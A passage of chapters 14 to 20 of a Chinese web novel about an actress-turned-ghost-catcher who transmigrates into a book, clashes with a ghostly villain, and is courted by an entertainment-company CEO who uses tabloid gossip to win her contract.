路回一听,有点不高兴,他对左轻白说:“我不封杀你了,你签我公司吧,继续当演员。” 左轻白道:“我不乐意,我这人自由惯了,不喜欢有公司管我。” 路回不动声色,但心里却有他的主意。 晚上,路回回了房间,打开电脑,点开一个文件夹,里面有几张照片,有左轻白在慈善晚宴上专心干饭的,还有左轻白和路回一起从车上下来的。 这些照片都是狗仔拍的,狗仔想把这两组照片放到一起,编造一出“腹黑霸道总裁爱上吃货小白兔女星,将其封杀后金屋藏娇”的绯闻,博噱头,赚流量,一炮而红。但他们编的故事还没发出去,就被路回的助理拦下了。 路回打电话给助理,对他说:“那个,之前拦的那组照片,让狗仔放出去吧。” “啊?那些狗仔没下限,拿老板您的清誉博噱头,这都能忍?”助理不解。 “听我的,狗仔想怎么编就怎么编,但有个地方必须改一下,那个标题,‘腹黑霸道总裁爱上吃货小白兔女星,将其封杀后金屋藏娇’,把后半句去掉,没有封杀。” “哦……” “还有,他们想编故事,让他们编,但要控一下故事 14. 永远地消失了 《当一个女明星会抓鬼[穿书]》全本免费阅读 书中那个左轻白出生在一个单亲家庭,母亲有一个演员梦,可惜没有实现。母亲演员梦碎后,就把自己的梦想嫁接到了左轻白身上。 左轻白还在牙牙学语的时候,母亲就把她抱在怀里,一遍又一遍地跟她说:“丫头,你以后要去演戏,要当明星,当大明星。” 左轻白很小的时候就被送去了艺校,在艺校中她展现出了不错的演员天赋,连老师都夸这娃儿是块料,于是左轻白的母亲十分欣慰,对左轻白也更加严厉,为了让左轻白能更努力地学艺,甚至不惜实行棍棒教育。 左轻白的母亲经常对年幼的左轻白说: “你一定要好好学,如果你不好好学,就辜负了妈妈的苦心,也辜负了老师对你的看好,你还辜负你自己,你遗传妈妈,你是有天赋的,偷懒就是浪费天赋。” “你知道妈妈为了送你上艺校,花了多少钱,受了多少苦吗?你一定要成器,才不辜负妈妈。” …… 于是从很小很小开始,“我要成为一名演员”就成了左轻白心中的执念,这份执念在左轻白心里生根发芽,长成参天大树。 后来左轻白顺利考上了表演学院,她上大学的时候就跑剧组接戏了,一开始,左轻白对自己的表演天赋很有自信,因为从小到大妈妈、老师都在夸她,所以她以为自己很快就能接到女主,一炮而红,完成妈妈的心愿。但左轻白没有想到的是,有天赋的太多太多了,剧组多是像左轻白这样的,左轻白一点都不特别,她不是唯一,冒不了尖。 但左轻白没有放弃,她只觉得是自己不够努力,她想当明星的愿望在不断受挫中反而越来越强烈,简直成了她生命中唯一的目标。 在左轻白跑了无数龙套,演了无数无名小角后,终于有一个女二号的角色找上了左轻白,但就在这时,左轻白遇到了金绮月。 左轻白不知道金绮月有靠山,她之所以针对金绮月,是因为嫉妒,她想凭什么自己辛苦训练那么多年,跑了那么多龙套才等来一个女二号的角色,而金绮月一个非科班出身,没有受过专业训练,甚至演艺经验为零的人,一上来就是女三号? 人最气不过的就是“凭什么”三个字。 然而金绮月哪是好惹的,左轻白踢到铁板了。 左轻白被金绮月设计进医院后,尽管摆脱了生命危险,但落下了后遗症,她会经常头疼,时不时还会癫痫发作。因为身体原因,左轻白无法再继续从事演员的工作,这对把当演员当成执念的左轻白来说,无疑比要了她的命还痛苦。 因为再也演不了戏的缘故,左轻白患上了抑郁症,最后在医院郁郁而终。 临终前,左轻白朦朦胧胧间仿佛看到了金绮月。 这时离出事那年已经过去了十年,然而金绮月却一点也没有变老,还是十年前那副小姑娘的模样。 金绮月穿着一袭红裙,走到奄奄一息的左轻白床前,金绮月露出天真烂漫的笑容,一边笑一边说:“人生七苦,生老病死,怨憎会,爱别离,求不得。所谓求不得,有些人是爱人求不得,有些人是梦想求不得,你是后者。” 金绮月歪了歪脑袋,那双黑得冒鬼气的眼眸死死盯住左轻白。金绮月朝左轻白伸出手,手成爪状,与此同时,左轻白看到在金绮月的身后出现了一团黑气,这团黑气变化成一个巨大的黑爪,黑爪跟随着金绮月手的动作伸向左轻白,悬在左轻白头上。 金绮月笑道:“我就爱看别人受苦,越苦我越高兴,世人之苦,养我之根。你梦想破灭后积攒了许多年的怨气与不甘,都归我了。” 话音刚落,悬在左轻白头上的那只黑爪“嗖”的一下往下一抓,从左轻白身体中抓出一团气,这团气飘到金绮月嘴边,金 15. 我捧你啊 《当一个女明星会抓鬼[穿书]》全本免费阅读 道观,左轻白和玄逸面对面席地而坐。 看完另一个世界左轻白的一生,左轻白叹了口气,说:“原来是这样,我是被她召唤过去报仇的。” “可你知道,为什么偏偏是你被选中吗?”玄逸道。 “为什么?” “因为只有你跟金绮月命运纠缠,所以只有你能进入书中世界。” “我跟她怎么纠缠了?” “天机不可泄露。” “故弄玄虚。” “嘿嘿,咱们这行不就是故弄玄虚的吗?不故弄玄虚哪里还有饭吃?” “你干脆改个道号吧,别叫玄逸,叫玄虚好了。” “玄虚是我师兄,你师伯,他早早就已仙去了。” 左轻白转了个身,背对玄逸,一脸苦恼。 “现在怎么办啊。”左轻白说,“我觉得我搞不定金绮月。别说搞定金绮月了,穿书后我遇到的第一单生意就受了挫,金绮月说要把俞洛城当明星的经历还回去,俞洛城才能恢复神志,可我不会啊。” 玄逸绕到左轻白面前,说:“你不会,可以问师父。” 左轻白立即喜笑颜开,道:“师父你会?那你帮我!” “怎么能伸手就让师父帮呢?”玄逸说着,从坐垫底下抽出一本古籍,递给左轻白,说:“这上面是我还没教你的道法,书里写了怎么把人的经历还回去,你仔细读,照上面写的去做,难题就解决啦。” 左轻白一把抢过玄逸手中的书,欣喜道:“师父,有这好东西你怎么不早点给我?书上的道法为什么不教我啊?” 玄逸说:“虽然你争气,下山不久就混了个金牌捉鬼师的名头,但毕竟年纪阅历就这么点,法力还不够强,上面的道法你驱动不了的。” “那怎么办?” “听说你在那个世界找到了一个助道者?” “是。” “那就简单了,找那个助道者帮忙呗。助道者能让捉鬼师的法力瞬间暴涨,虽然持续的时间不长,但也够了。” 左轻白点点头,说:“是个办法。” 话音刚落,左轻白突然发现自己的身体变成半透明了。 “师父!”左轻白惊诧地看向玄逸。 玄逸叹了口气,不舍道:“孩子,你要回去了。” 左轻白的身体越来越透明,直至消失。 道观中,只剩下玄逸孤零零的一个人。 左轻白“蹭”的一下从床上坐起来,她发现自己穿着睡衣,在路回家的床上,自己怀中抱着一本古籍,竟然是师父给她的那本,她把古籍从另一个世界带过来了。 左轻白连忙起身,打开灯,开始研读古籍。 第二天一早,路回看到左轻白时吓了一跳,因为左轻白顶着两个大大的熊猫眼就急匆匆地走过来了。 “你昨晚干什么了?没睡觉吗?认床?失眠?”路回一口气问道。 左轻白一把抓住路回的手臂,说:“我昨晚没睡,一直在看书。” 路回一愣,“你还真爱学习。” 左轻白从怀中掏出古籍,举在路回面前,说:“我在研读这个,为了找治俞洛城疯病的方法。” “怎么样,有结果吗?”路回恢复严肃。 “有,只要俞洛城把他偷来的那段当明星的经历还回去,他的疯病就能治好。要把经历还回去,我需要画一个高阶置换符,但以我现在的法力修为,只能画低阶置换符。” “那怎么办?” “简单,你是助道者,你来帮我。” 路回愣了一下,眨了眨眼,道:“用我的……□□啊?” 左轻白见路回脸上似有红晕,气得跳起来用力一拍路回的脑袋,怒道:“别乱想,你割点血给我就好了!” 说完左轻白拿起桌上的水果刀,作势去割路回的手指。 路回连忙一躲,笑道:“这可不兴说割就割,这么下去,我就成你血袋子了。” “那你想怎么样?”左轻白走到路回跟前,问。 路回突然伸手揽住左轻白的腰,在左轻白反应过来之前,迅速吻上左轻白的唇。他抱得紧,不容左轻白挣脱。 吻够了,路回松开左轻白,冲她笑道:“唾液也是□□,何必非要我流血。” 左轻白正想骂他,路回抢先堵住左轻白的话,路回说:“捉鬼师小姐,现在可以画符了吧?抓紧时间哦,毕竟法力提升的时间不长。” 左轻白朝路回比了个中指,然后画符去了。 对于左轻白来说,正事最重要。 有了助道者相助,左轻白成功画出了高阶置换符。 一瞬之间,乌云密闭,白日惊雷,蓝双帮俞洛城偷来的那段当明星的经历,还回去了。 —————————————— 后来,嘉烨娱乐传媒有限公司门口经常会出现一个男人。 男人呆呆地看着嘉烨娱乐门口的巨幅海报,抓住一个从里面走出来的工作人员就问:“门口的海报怎么换了?这里挂的不一直都是我的海报吗?” 工作人员一脸莫名其妙地看着男人,说:“你是谁啊?为什么要挂你的海报?” 男人急道:“我是俞洛城啊!都不认得我了吗?怎么一夜之间,我的海报换了,杂志封面换了,专辑下架,代言、广告也全没了?” 工作人员依然莫名其妙,他说:“我不认得什么俞洛城,如果你有兴趣出道的话,去里面填个练习生的报名表,然后等通知吧。” 男人就是俞洛城,他恢复神志了。 俞洛城摇头道:“我已经是唱跳天王了,还填什么练习生报名表?” 工作人耸耸肩,“那就没办法咯,我也不认识你。我有事,先走了。” “等等!”俞洛城死死拉住工作人员,说:“你再回 16. 只想打人 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白是个心大的人,既然来了这个世界,那就接受呗,虽然不舍得师父和同门们,但日子还是要过的,总不能整天哭哭啼啼。 左轻白查了一下卡里的积蓄,原来的那个左轻白存了一点钱,她来了这个世界后,接了路回的生意,又从路回那赚了一笔,现在卡里的钱还是够用的。 确保自己一时半会饿不死后,左轻白便放松了起来。她去逛美食街,一路吃过去,左手拿着奶茶,右手捧着烧饼。原来那个左轻白是演员,要控制饮食,以免变胖,但现在这个左轻白不管这些。 原来那个左轻白虽然演了不少戏,但大多是小配角,不出名,好不容易接了个女二号,还没演完呢就被金绮月搅黄了,所以左轻白很确定自己去逛美食街不会被粉丝围观,她就没几个粉丝。 但事实好像不是左轻白想的那个样子。 左轻白吃着吃着,突然发现周围有几个路人在看自己,但当自己看过去时,他们又连忙把目光收回去了。 这样的路人左轻白遇到了好几拨,不光遇到偷看的路人,左轻白还发现有几个拿着摄像机的人偷偷跟着自己,像是狗仔。 左轻白莫名其妙,心想书里也没写左轻白这么出名啊。 左轻白继续往前走。 突然,两个结伴的少女跑到左轻白跟前,看起来像是高中生的年纪。 左边那个少女眨着亮晶晶的眼睛对左轻白说:“你是不是左轻白?” 左轻白尴尬地笑了一声,问她:“你看过我演的戏?” 少女摇了摇头,“你演过什么戏,我没有印象。” 左轻白心想:就是嘛,左轻白根本就不出名。 少女又道:“但我看了你好多同人文,现在我们班上的女生都在追你和路回的同人文!” “谁?我和谁?”左轻白不可置信道。 “你和嘉烨娱乐的路总,路回。”少女说着,打开手机里的阅读APP,给左轻白看她在读的一本网络小说。 左轻白看着手机上的字,念出声来:“路回脱掉左轻白的衣服,左轻白香肩半露……我靠!这是哪个神经病写的?太羞耻了!” 少女嘻嘻笑道:“类似的小说还有好多呢。” “谁让你们这么磕cp的,乱拉郎配遭天谴!再说这小说写的都涉黄了好吗?谁写的我要去告他!”左轻白是个急性子,这会儿又急又怒。 少女眨巴眨巴眼睛,说:“咦?怎么是拉郎配呢?你跟路回不是真的吗?” “谁说是真的?” 少女打开娱乐新闻,递给左轻白看,新闻标题是“腹黑霸道总裁爱上吃货小白兔女星”,下面放了许多配图,每一张图都角度刁钻,看上去左轻白和路回很亲密。 “乱来!真的是乱来!”左轻白气得跳脚,“他们侵犯我名誉权!” 左轻白转头想走,没想到那俩小女生追了上来,边追边说:“快跟我们说说你跟路回的故事呀!看文哪有听真人讲有意思……” 左轻白捂起耳朵就跑,狗仔们扛着摄像机追了过去。 连续几天,左轻白都受到了无良媒体的骚扰,这严重影响了左轻白的生活。 左轻白气得半死,却拿他们没办法,要是他们是鬼,左轻白上去就是干,但他们是人,左轻白就不能伤害他们。 终于有一天,左轻白来到了路回的办公室。 左轻白把这件事跟路回说了。 “我不知道这种失真的八卦是谁传的,但现在已经传开了,闹大了,严重影响到我的生活了!”左轻白说。 路回坐在办公桌前,气定神闲地喝着咖啡,脸不红心不跳地对左轻白说:“我有什么办法?又不是我传的。” “你一定有办法。”左轻白双手撑在路回的办公桌上说,“你能封杀我,说明你们路家、你的嘉烨娱乐,在娱乐圈是有话语权的,你要是想阻止这些无聊八卦,不就是找那些狗仔警告几句的事吗?” 路回把手中的咖啡放下,看向左轻白,微一点头,说:“是。” 左轻白一喜,“那你快行动啊。” 路回悠悠地说:“可他们影响的是你的生活,又没影响我,关我什么事?” “好歹我从鬼奴手中救过你。” “我也救你了,就是你被金绮月追杀,跳到我车顶上那次。两清了。” “你要怎么样才能帮我?” “跟我签约,成为我公司的艺人。” “这个约就非签不可吗?”左轻白有些抓狂。 路回观察左轻白的状态,决定换一种攻略。 路回把那副盛气凌人的模样一收,在左轻白面前露出无辜的表情,像是有什么不得已的苦衷。 路回楚楚可怜地对左轻白说:“我不是故意要用一纸合同困住你的,但你知道的,我只是个普通人,普通人都怕死,如果你不离我近一点,我会每天提心吊胆,害怕金绮月来找我。一个普通人担心自己的性命,有什么错呢?” 左轻白这人吃软不吃硬,路回用可怜兮兮的小狗眼看向左轻白,让左轻白心软了一分。 左轻白心想:他想让我离他近一点,虽然有些自私,但情有可原,他是个普通人,金绮月那种神通鬼怎能不让他害怕? 路回乘胜追击:“另外,我看得出你在表演上很有天赋,只是一直没有遇到好的机会,之前为了复出还那么拼,我相信你是有演艺梦的,执意签下你,也是因为我惜才,不想看到一个有天赋又努力的好演员被埋没。” 这句话没让左轻白感动。 路回又继续道:“你放心,我们公司是正规公司,在业内名声很好。我们跟别的公司不同,我们很注重保护艺人的隐私,也很尊重艺人的意愿,从不会乱炒自家艺人的八卦,如果有无良媒体编造黑料,我们的团队也会第一时间解决。而且,我是个大方的老板,年终的奖金,能给这个数。” 路回随手拿了一张白纸,用笔在纸上写下一个数字,亮给左轻白看。 当左轻白看到这个数字时,很不争气地两眼放光。 我的天,娱乐行业这么赚钱的吗?这比我完成二十单捉鬼生意的报酬还要多!左轻白心里想道,口水都快流出来了。 “说给就给?”左轻白问。 “不反悔。”路回答。 “那……我考虑一下哈。”左轻白傲娇地说。 “左小姐考虑好了,就去三楼签约吧。”路回说。 “哦。” 左轻白转头就走。 离开路回办公室后,左轻白转头就去了三楼,找工作人员签约。 这么大一笔钱,不挣是傻子。 于是左轻白成了嘉烨娱乐的一名签约艺人,归在影视部下。 签了约后,就要听公司安排接戏了,左轻白不介意去剧组,甚至很愿意去剧组,因为她知道剧组这种地方经常闹鬼,就是因为这个原因,每个剧组开机时都会上香,左轻白去剧组还能趁演戏的空档抓几个鬼。左轻白是个上进的捉鬼师,她师父不久前提醒过她,她现在阅历少,法力不够强,所以她当然要努力刷经验。 左轻白唯一担心的是自己的演技,她没受过专业的表演训练,万一在片场拖人进度怎么办? 左轻白穿书后接的第一部戏是部古装戏,有了资源就是不一样,这回她演女主。制片和导演让左轻白去试戏,左轻白一个人去了。 左轻白没有助理,路回本来想给她配一个,但左轻白拒绝了,理由是万一助理看到她抓鬼现场,活活吓死怎么办?路回知道她的性格,便没勉强。 试戏现场。 制片、导演等工作人员坐在左轻白面前,摄像机已准备好,左轻白放下剧本,在心里默念一遍背好的台词,比了个OK的手势,示意可以开始演了。 左轻白念台词:“姨娘说笑了,芳蕊这半年一直都呆在房里绣花,怎么可能认识那粗鄙蛮横的武夫?” 17. 这么劲爆啊 《当一个女明星会抓鬼[穿书]》全本免费阅读 从树上倒立出来那“人”张开嘴,伸出又红又长的舌头舔向其中一个女演员的后脑勺。左轻白左手食指中指并拢,两指指尖燃起一团金色火苗,左轻白情急之下大力推开那四个人,给自己推出一条道,手指上的火苗点在伸过来那条舌头上。 舌头被重重地烫了一下,缩了回去,舌头的主人迅速钻回树上,“嗖”的一下没了踪影。 就在左轻白救那四人时,四人中那个男生居然偷偷伸出一只脚,挡在左轻白脚下,左轻白的所有注意力都集中在那条舌头上,没有注意脚下,不小心被他绊倒,左轻白脸朝下一摔,来了个狗啃泥。 左轻白愤怒地从地上爬起来,心想我好心救你们,你们反倒偷袭我? 一个女生假惺惺地说:“哟,没摔着脸吧?” 左轻白目光扫过四人,什么也没说。就在四人以为左轻白要忍气吞声时,她动手了。 左轻白抡起巴掌朝绊她那个男生脸上狂扇,左轻白有武术底子,力气大,打普通男人不在话下,男人被她揍得嗷嗷叫唤,剩下那三女生想来帮忙,也被左轻白揪着头发打。 左轻白一人对四人,优势在左轻白。 这场闹剧闹了许久才结束。左轻白回到那棵树下,却怎么也找不到刚才那个“人”。 到了傍晚时分,礼仪课开始,演员们都上课去了。 左轻白上课时走了神,心想不可能啊,自己从进这个宅院开始,就没有闻到过鬼气,甚至树上那东西吊下来时,也没有闻到鬼气,那玩意难道不是鬼?那是什么? 左轻白偷偷拨了拨罗盘。罗盘是普通道士用来判断附近有没有鬼的基础法器,学过捉鬼术的追鬼师可以直接闻到和看到鬼气,不需要罗盘。这次左轻白把自己的能力都怀疑上了,拿出罗盘来验证有没有鬼,然而罗盘没动静,附近没鬼。 礼仪课结束,导演走上台,宣布了一件事情:“各位,课上得差不多了,但这还不够,在开机前,我们还要进行最后一步集训。最后一步集训叫沉浸式体验,大家需要把这个地方当成故事里的薛宅,把自己带入到剧本中的角色,生活一个星期。这个星期内,大家需要彻底忘记自己现代人的身份,着装、说话、礼仪、生活习惯,都按剧本中描述的来。” 导演解释道:“之所以这么安排,是为了在开机前,保证每位演员进入角色,达到人与角色合一的状态,我要的是每一位演员在剧中没有丝毫表演的痕迹,我想完成一部不一般的作品,这需要大家、需要整个团队共同努力!” 所有人都认真地鼓起掌来,左轻白左看看右看看,也鼓起了掌。 据左轻白所知,别的剧组就没有不抓紧时间赶进度的,而这个导演却愿意拿一个星期出来,用沉浸式体验薛宅生活的方式,让演员进入角色,往好了说,这叫有艺术追求,往坏了说,事出反常必有妖。 从当晚开始,薛宅生活体验期正式开始。 左轻白住进了大小姐薛芳蕊的闺房。所有人的手机都被提前收走了,左轻白在房间里没手机玩,没有事情干,快无聊死了。 房间里点着蜡烛,烛影映出窗外丫鬟的剪影。 “小姐,竹碧来伺候您洗面。”窗外传来饰演竹碧的演员陆文的声音。 陆文是个温温柔柔的小姐姐,跟左轻白关系不错。 左轻白连忙开门,把陆文拉了进来,唉声叹气地对陆文说:“快进来快进来,陆文你来了正好,陪我聊天。你都不知道,没了手机,我快闲出屁来了。” 哪知陆文端着洗脸盆“扑通”一声就在左轻白面前跪下,陆文颤颤巍巍地说:“小姐,您怎么了?我不叫陆文,我是竹碧啊!手机是何物?您怎么都说胡话了?小姐您别吓竹碧。” 陆文毕恭毕敬,活生生就是一个对主人又敬又怕的古代下人。 左轻白一愣,心想不是吧,真把自己彻底带入角色了?不就是刷个体验卡么,又没有正式开机,导演也没在旁边盯着,有必要演得这么认真吗? 左轻白眨巴眨巴眼睛,随后转念一想,给自己换了个思路。左轻白想:或许不是他们太认真,而是我太不认真了。演员听导演安排,认真进入角色,这叫敬业,我以前没干过这行,把他们的敬业当成古怪,是我的问题,不是他们的。 想到这里,左轻白心里生发出愧疚感,觉得是自己不敬业,拖团队后腿。 于是左轻白也演出了薛芳蕊的样子,清了清嗓子,用大小姐的语气说:“无事。” “那竹碧伺候大小姐洗面。”陆文恭敬道。 陆文用热水打湿洗脸巾,帮左轻白擦脸擦手,一举一动、神情姿态就是下人的样子,像到左轻白在她身上看不到一点现代人的影子,如果不是提前知道这是一场模拟游戏,左轻白不会想到这是现代演员演的古代下人。 左轻白腹诽道:这样的状态也够好了吧,完全看不出是演的,我看可以直接开机,不用体验了。 竹碧退下,并帮左轻白带上门。 左轻白打开窗,从窗户看向外面的夜空。如果手机手表被收走,绝大多数现代人就不会看时间了,但左 18. 演够了没有 《当一个女明星会抓鬼[穿书]》全本免费阅读 左轻白犹豫了一下,决定走向那座假山。 左轻白没有打扰别人春宵的癖好,实在是因为这里出现了怪东西,她担心假山后面的人遇到危险,想过去提醒他们不要在这里呆着。 左轻白靠近假山,听到假山后传来一男一女的对话。 女人说:“傅郎,我想你想得好苦,日日伺候薛建那老东西,我都快吐了。” 男人说:“青娘,我也想你啊,你都不知道见不到你的这些日子我是怎么过的。” 左轻白听到这两句词,大脑重重地“嗡”了一下。这是……剧本台词啊! “青娘”是薛府老爷薛建的第十三房小妾,“傅郎”是小妾的情夫,翻墙进来跟小妾苟合,剧本里有这一段。 “到底是演戏还是真搞啊?”左轻白震惊道。 这里的一切古怪又邪乎。 左轻白踩过草丛,窜到假山后面,大喊一声:“你们在干什么?” 假山后面演青娘和演傅郎的男女演员脱得几乎赤条条,男的正蓄势待发,被左轻白这么一吼,吓得都萎了,女的尖叫一声,拽紧自己的肚兜,赶紧穿衣服。两人慌慌张张地摸黑逃跑。 左轻白看着假山后面一片狼藉,倒吸一口凉气,说:“不是吧?真搞啊?” 左轻白回房间的路上,一边走一边想:就算是戏疯子,也没必要做到这份上,有两种可能,第一种可能,这两个演员本来就有点什么,趁着这个机会,两口子玩个刺激的;第二种可能,那就是他们中邪了,陆文也中邪了,这里的所有演员,都中邪了! 左轻白回到自己的房间,也就是戏里薛芳蕊的住处,叫玉兰斋。左轻白看见玉兰斋外挤了很多人,个个提着灯笼,为首的是演王姨娘的演员,王姨娘就是剧本里整天欺负薛芳蕊的那个,薛府主母过世后,她最得老爷欢心,所以让她揽了后院大权。 饰演青娘的演员站在王姨娘身后,饰演竹碧的陆文颤颤巍巍站在一旁,竹碧正在接受王姨娘的训话。 王姨娘骂竹碧:“没用的东西!小姐去哪了,你不知道?叫你在这守夜,你是守回你娘胎那去了吗?” 台词,全是剧本里的台词。 青娘一副小人得志的模样,逼问竹碧:“说,今晚翻墙进来找小姐的那个奸夫,到底是什么人?” 青娘通奸被“薛芳蕊”抓到,她干脆一不做二不休,贼喊捉贼,把通奸的帽子扣到薛芳蕊头上。 竹碧边哭边说:“我们小姐清清白白的一个人,哪有什么奸夫?” 青娘冷笑,“那今晚进来那个贼,难道是偷东西来了?可怎么这么巧,你们小姐偏巧不在房中,如何叫人不怀疑?” 王姨娘阴沉着脸,指着竹碧说:“这丫头指定知道些什么,来人,打她嘴,打到她说为止。” 两个下人去拉竹碧,狠狠在她脸上打耳光,打的力度之大,根本不是演的。 这时,左轻白冲了过来,把正在打陆文的两个人掀翻。 “都演够了没有?”左轻白呵斥。 青娘阴阳怪气道:“哟,小姐这是从哪回来呀?” 左轻白走到青娘身边,冷不丁给她一巴掌,又急又怒地说:“这样醒了吗?还演?” 青娘“哇”的一声大哭起来,捂着脸茶言茶语道:“青娘做错了什么?小姐怎么能打人呢?” 左轻白急得跺脚,“入戏太深也不能深成这样啊!你听着,你不叫青娘,你叫佟丹,是一名演员,青娘是你演的一个角色!” 接着,左轻白指着王姨娘说:“你也不是什么王姨娘,你叫孙华,剧中饰演王姨娘而已!” 左轻白又拉了一把旁边哭哭啼啼的陆文,“还有你,你也不是丫鬟竹碧,你叫陆文,也是演员!” 青娘凑到王姨娘耳边,满脸惊恐道:“小姐好生奇怪,不会是中邪了吧?” 王姨娘也害怕地打量起左轻白来。 “疯了,你们都演疯了!”左轻白本来就是个急性子,此刻更是急得跳脚,“导演呢?导演在哪里?都跟我去见导演!” “把小姐关到房间里去!明日速速去请几个道士来驱驱邪!”王姨娘下达命令。 两个下人正准备把左轻白“请”到房里去,左轻白左腿一踢,右腿又一踢,三两下把他们踢翻在地。 < 19. 他们就是你要找的人 《当一个女明星会抓鬼[穿书]》全本免费阅读 次日。 天亮后不久,王姨娘就请了几个道长来玉兰斋作法驱邪。 道士们有模有样地摆了祭坛,拿着桃木剑在祭坛前舞来舞去,口中念念有词。左轻白在房间里没有出去,只能透过窗户看外面发生的事,在这部戏中她是未出阁的大小姐,不能随便在外人面前露面。 左轻白认真听那几个道士嘴里念的词。 道士念道:“九天老祖在上,保佑薛家小姐远离邪祟!” 左轻白自言自语道:“九天老祖是谁?道教体系里只有九天降魔老祖,也就是真武大帝,哪冒出来一个九天老祖?哦!对了,我想起来了!九天老祖是剧本里原创的一个神名。” 法事的最后,道士拿出一个九天老祖的木雕小像,嘱咐道:“把这尊神像放到小姐的闺房中,神像面朝东边,邪祟便不敢再靠近。” 竹碧恭恭敬敬地把九天老祖像放到左轻白房中,面朝东边,又恭恭敬敬地退了出去。 左轻白拿起九天老祖像一看,发现这个九天老祖是个姑娘,而且这个姑娘怎么看怎么面熟,左轻白心里“咯噔”一下,脱口而出说:“金绮月?是她干的?” 这个九天老祖像雕的明明是金绮月。 这下一切都解释得通了。半身鬼这种东西,连左轻白这个捉鬼师都没见过,因为他们是被比左轻白厉害得多的金绮月创造出来的;金绮月给自己安排的角色是九天老祖,九天老祖在这个虚拟故事中是一个神的名字,金绮月作为这一切的创造者,她让自己当神,合情合理。 这些半身鬼替代了原剧组的成员,那原来那些人呢?金绮月藏哪去了? 金绮月一定就在附近,必须找到金绮月,让她把原剧组的人还回来。左轻白想。 左轻白推开房间门,走了出去。 左轻白发现前厅挤了很多人,王姨娘、青娘、以及左轻白在剧中的父亲薛建,全在里面。于是左轻白躲在前厅外,偷看里面发生的事, 一个俊朗的男人被一群小厮五花大绑地押到薛建面前。薛建气得脸都青了,手指发抖,薛建指着面前帅气的男人问王姨娘:“你说,这个人就是昨晚上翻墙进来的蕊儿的奸夫?” “是。” “荒唐!家门不幸,家风败坏!出了这样的事,以后我薛建的脸往哪儿搁?”薛建捶胸顿足。 “老爷别气坏了身子。”王姨娘一脸担忧。 青娘忽然说:“这人的穿着打扮怎么这么奇怪?” 一个小厮回答:“这种江湖草莽人士,放浪不羁,什么打扮的都有。” 男人忍无可忍,说:“你们到底演够了没有?又没有摄像机你们在演什么啊?” 男人剪着短发,穿着休闲装,一副现代人的打扮,竟然是路回。 虽然左轻白不知道路回怎么一个人跑这儿来了,但她看到路回很高兴,看到路回就意味着她有能力对付金绮月了。 左轻白跟金绮月一对一只有被碾压的份,但路回在就不一样了,路回是助道者,有他在,左轻白可以跟金绮月勉强持平,但也仅仅是勉强持平而已。 左轻白也演了起来,她装腔作势地跑进前厅,边跑边神经兮兮地说:“爹啊!我们是真心相爱!您不要伤害他!” 一旁的路回被左轻白这架势吓到了。虽然这词肉麻得让人起鸡皮疙瘩,但“真心相爱”四个字听得有点爽是怎么回事? 左轻白跑到路回跟前,把押着路回的小厮推开。 路回一脸莫名其妙地问左轻白:“你们是在演吗?可我怎么没看到摄像机?” 左轻白来不及跟他解释,一句话不说,抱着他的脑袋就往他嘴上亲。 全场人发出“啊”的一声尖叫,薛建更是气得眼睛瞪得比铜铃还大,薛建指着左轻白和路回说:“有伤风化!来人,快把他们拉开!” 亲够了,左轻白放开路回,伸出右手手指在空气中画符,她的指尖泛起金光,金光在半空中呈现出符咒的形状。 左轻白口中念念有词:“电闪雷鸣,速来助我。” 话音刚落,半空中的金色符咒突然变成一道闪电,由下往上劈,把屋顶劈烂了一个大洞,这道闪电把天上的雷电引了过来,晴天霹雳把薛宅劈得几乎渣都不剩。薛宅里的那些演员,个个尖叫着想要逃,但没跑两步,就整个人僵住了,像石化了一样,突然一动不动。 左轻白牵着路回的手,带他按五行八卦的走法躲来躲去,精准躲过所有雷电,两人一点没伤着。 路回悄悄侧头偷看左轻白,手握得更紧了;左轻白心无旁骛地躲雷电,只以为是路回害怕。 雷电停了,薛宅也成了废墟,那些演员像兵马俑一样僵在原地。 路回看了看周围的一片废墟,震惊道:“宅子被你劈没了?” “不是被我劈没的。”左轻白严肃地说,“你仔细看看,这里有火灾的痕迹。” 左轻白说得没错,塌掉的墙面上有明显被烟熏的迹象,这是火灾后的废墟。 “它本就是一片废墟,刚刚你看到的富丽堂皇的大宅子才是伪装出来的幻象,我引来的那些雷电,就是用来打破幻象的。该说不说,这个幻象真厉害,要不是你来提高了我的法力,连我都被它骗倒了。” 路回惊讶道:“连你都被骗?谁这么厉害?” “你猜是谁?” “金绮月?” “嗯。” 就在这时,荒郊野岭中,从山里走出来一个穿着红裙子的女孩,女孩面容精致,身材娇小,像个活了的洋娃娃。 金绮月出现了。 金绮月发出娇笑,蝴蝶翅膀似的睫毛“扑棱扑棱”地扇动,她用崇拜的眼神看向左轻白,说:“轻白姐姐,你真厉害,我可太喜欢你啦!” 路回握紧了左轻白的手,下意识把她往自己身后拽。哪知左轻白不领情,她瞪了路回一眼,说:“拽我干嘛?把我往后拽,你对付得了她吗?你到我后边去。” 金绮月撅起小嘴,娇声娇气地对左轻白说:“轻白姐 20. 懂鬼的人 《当一个女明星会抓鬼[穿书]》全本免费阅读 金绮月调皮地点了点头,发出一声“嗯哼”,告诉左轻白她想的是对的。 “轻白姐姐试戏的时候见到的导演、副导演还活着,试戏成功到正式进组中间隔了几天,那场火灾就是就是在这几天中发生的。轻白姐姐来到剧组后,见到的导演、副导演以及其他演员、工作人员,都已经死啦。”金绮月说。 金绮月抓起自己的一绺长发,在手指上面绕圈。她慢悠悠地对左轻白说:“起火点在道具间,从道具间蔓延到整个宅子。火烧得很大很大,火光照亮了半边天,薛宅成了一片废墟,所有人都死啦,一个没剩。” 路回问:“怎么会一点消息都没透露出去?这么大的火,总有人看见了吧?没人打119?” 金绮月眨着大眼睛,一边眨一边说:“因为我弄了个障眼法呀,确实是起火了,但附近的人都看不到,哈哈哈哈!” 左轻白跟路回同时毛骨悚然,又同时怒火中烧。 金绮月用障眼法掩饰火灾,所以没有人打119,没有人来救火,整个剧组的人在薛宅中活活被烧死。 “你这是在杀人!”左轻白愤怒地指向金绮月。 “我哪里杀人了?”金绮月反驳,“火又不是我放的。” “你不弄障眼法,就会有人来救火!” “有人来救火又怎么样,只会白白多搭进去几条命,还不如不来呢。这是在山里,消防车都上不来,还救火?多亏我为了弄障眼法,在火场周围画了个圈,火势才没有蔓延到附近的山上。如果引发大型山火,那后果才严重呢,我阻止了山火。” 金绮月自认为自己是阻止山火蔓延的大功臣,小脸露出骄傲的神情。金绮月站在废墟上跳起舞来,轻盈地转着圈圈,像只美丽的红蝴蝶。 在金绮月眼里,剧组人的命不是命。 左轻白全身发抖,她闭上眼睛,全神贯注地感受脚下这片废墟。 